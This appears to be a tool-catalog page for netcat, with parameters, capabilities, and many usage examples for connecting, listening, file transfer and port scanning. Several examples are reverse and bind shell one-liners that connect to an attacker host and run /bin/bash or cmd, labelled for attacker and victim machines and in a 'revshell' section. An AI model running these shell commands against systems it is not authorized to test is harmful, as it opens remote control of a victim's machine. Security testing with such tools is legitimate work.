network enabled verified medium v1.0.0

netcat

Versatile networking utility for reading/writing data across TCP and UDP connections, port scanning, and network debugging.

📋 Live Preview 
netcat {flag-c} {flag-e} {flag-b} {flag-g} {flag-g}
📎 flag-c 📎 flag-e 📎 flag-b 📎 flag-g 
netcat {flag-c} {flag-e} {flag-b} {flag-g} {flag-g}

Sandbox: execFile · Timeout: 60s

Capabilities

network.socket.listen
network.socket.connect
network.socket.transfer
network.scan.port
network.proxy.relay
network.diagnostic.banner

Parameters

Name Type Required Default Description Aliases
flag-c string No - as `-e'; use /bin/sh to exec [dangerous!!] -c
flag-e string No - program to exec after connect [dangerous!!] -e
flag-b string No - allow broadcasts -b
flag-g string No - source-routing hop point[s], up to 8 -g
flag-G string No - source-routing pointer: 4, 8, 12 -G
flag-h string No - this cruft -h
flag-i number No - delay interval for lines sent, ports scanned -i
flag-k string No - set keepalive option on socket -k
flag-l string No - listen mode, for inbound connects -l
flag-n integer No - numeric-only IP addresses, no DNS -n
flag-o string No - hex dump of traffic -o
flag-p integer No - local port number -p
flag-r string No - randomize local and remote ports -r
flag-q string No - quit after EOF on stdin and delay of secs -q
flag-s string No - local source address -s
flag-T string No - set Type Of Service -T
flag-t string No - answer TELNET negotiation -t
flag-u string No - UDP mode -u
flag-v string No - verbose [use twice to be more verbose] -v
flag-w number No - timeout for connects and final net reads -w
flag-z string No - zero-I/O mode [used for scanning] -z

Artifacts

TypeDescriptionMIMESchemaTrust
network.socket.dataData transferred over network connectiontext/plain-verified
network.socket.bannerService banner received from remote hosttext/plain-verified

Contract

Inputs

network.target.host

Target host to connect to

network.port

Port number for connection or listening

Outputs

network.socket.data

Data received over the network connection

Side effects: network_traffic

Workflow Edges

Produces

network.socket.data

Consumes

network.target.hostnetwork.port

Resource Profile

ResourceValue
CPUlow
Memory8 MB
Networklow
Disk I/Olow

Examples

Connect to a remote service

nc example.com 80

Listen for incoming connections on a port

nc -l -p 8080

Transfer a file between machines (receiving)

nc -l -p 1234 > received_file.txt

Transfer a file between machines (sending)

cat file.txt | nc receiver-host 1234

Port scan a range

nc -zv 192.168.1.1 20-100

Grab service banner

echo '' | nc -w 3 example.com 22

NetRunners revshell/shell

nc.exe {{IP}} {{PORT}} -e cmd

NetRunners revshell/shell

nc -e /bin/bash {{IP}} {{PORT}}

Basic client use - connect to a server

nc [hostname] [port]

Basic server use - listen on a specific port

nc -l -p [port]

Send a file from a client to a server Server side

nc -l -p [port] > [output-file]

Client side

nc [hostname] [port] < [input-file]

Create a simple chat server Server side

nc -l -p [port]

Client side

nc [hostname] [port]

Port scanning a host for open ports

nc -zv [hostname] [starting-port]-[ending-port]

Using UDP instead of TCP

nc -u [hostname] [port]

Use with a timeout setting

nc -w [timeout-in-seconds] [hostname] [port]

Listen for connections on multiple interfaces

nc -l -p [port] -k

Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections

nc -l -p [port]

Victim machine - connect to attacker

nc [attacker-ip] [port] -e /bin/bash

Start a simple TCP server on a specified port

nc -l -p PORT_NUMBER

Connect to a TCP server on a specified IP address and port

nc IP_ADDRESS PORT_NUMBER

Transfer a file from a server to a client On the server side (listening and sending the file)

nc -l -p PORT_NUMBER < filename

On the client side (receiving the file)

nc IP_ADDRESS PORT_NUMBER > filename

Scan open ports on a target host

nc -zv IP_ADDRESS PORT_RANGE

Use netcat as a simple chat tool On one machine (listening)

nc -l -p PORT_NUMBER

On another machine (connecting to the listener)

nc IP_ADDRESS PORT_NUMBER

Create a reverse shell from a client to a server On the attacker's machine (listening)

nc -l -p PORT_NUMBER -e /bin/bash

On the victim's machine (connecting back to the attacker's machine)

nc IP_ADDRESS PORT_NUMBER -e /bin/bash

Bind shell on the server side On the server machine (listening and attaching a shell)

nc -l -p PORT_NUMBER -e /bin/bash

On the client machine (connecting to the bind shell)

nc IP_ADDRESS PORT_NUMBER

Documentation

Netcat — TCP/IP Swiss Army Knife

Netcat (nc) is one of the most versatile networking tools available. It can create TCP/UDP connections, listen for incoming connections, transfer files, scan ports, and act as a simple proxy or relay.

Common Use Cases

File Transfer

# Receiver (listen)
nc -l -p 1234 > received_file.zip

# Sender
cat file.zip | nc 192.168.1.100 1234

Simple Web Request

echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

Port Scanning

# Verbose scan of common ports
nc -zv 192.168.1.1 22 80 443 8080

# Port range scan
nc -zv 192.168.1.1 1-1024

Reverse Shell (Security Testing)

# On attacker machine (listen)
nc -l -p 4444

# On target machine (connect back)
nc attacker-host 4444 -e /bin/bash

Security Considerations

  • Netcat with -e (execute) is dangerous — pipe to shell instead
  • Unencrypted — use ncat --ssl or SSH tunneling for sensitive data
  • Consider socat for more complex relay/proxy scenarios

Related Tools

  • socat — More advanced socket relay with SSL support
  • nmap — Professional port scanning with service detection
  • ncat — Modern netcat implementation from Nmap project

Related Tools

telnetnmapsocatncatnetwork-socket-socat

References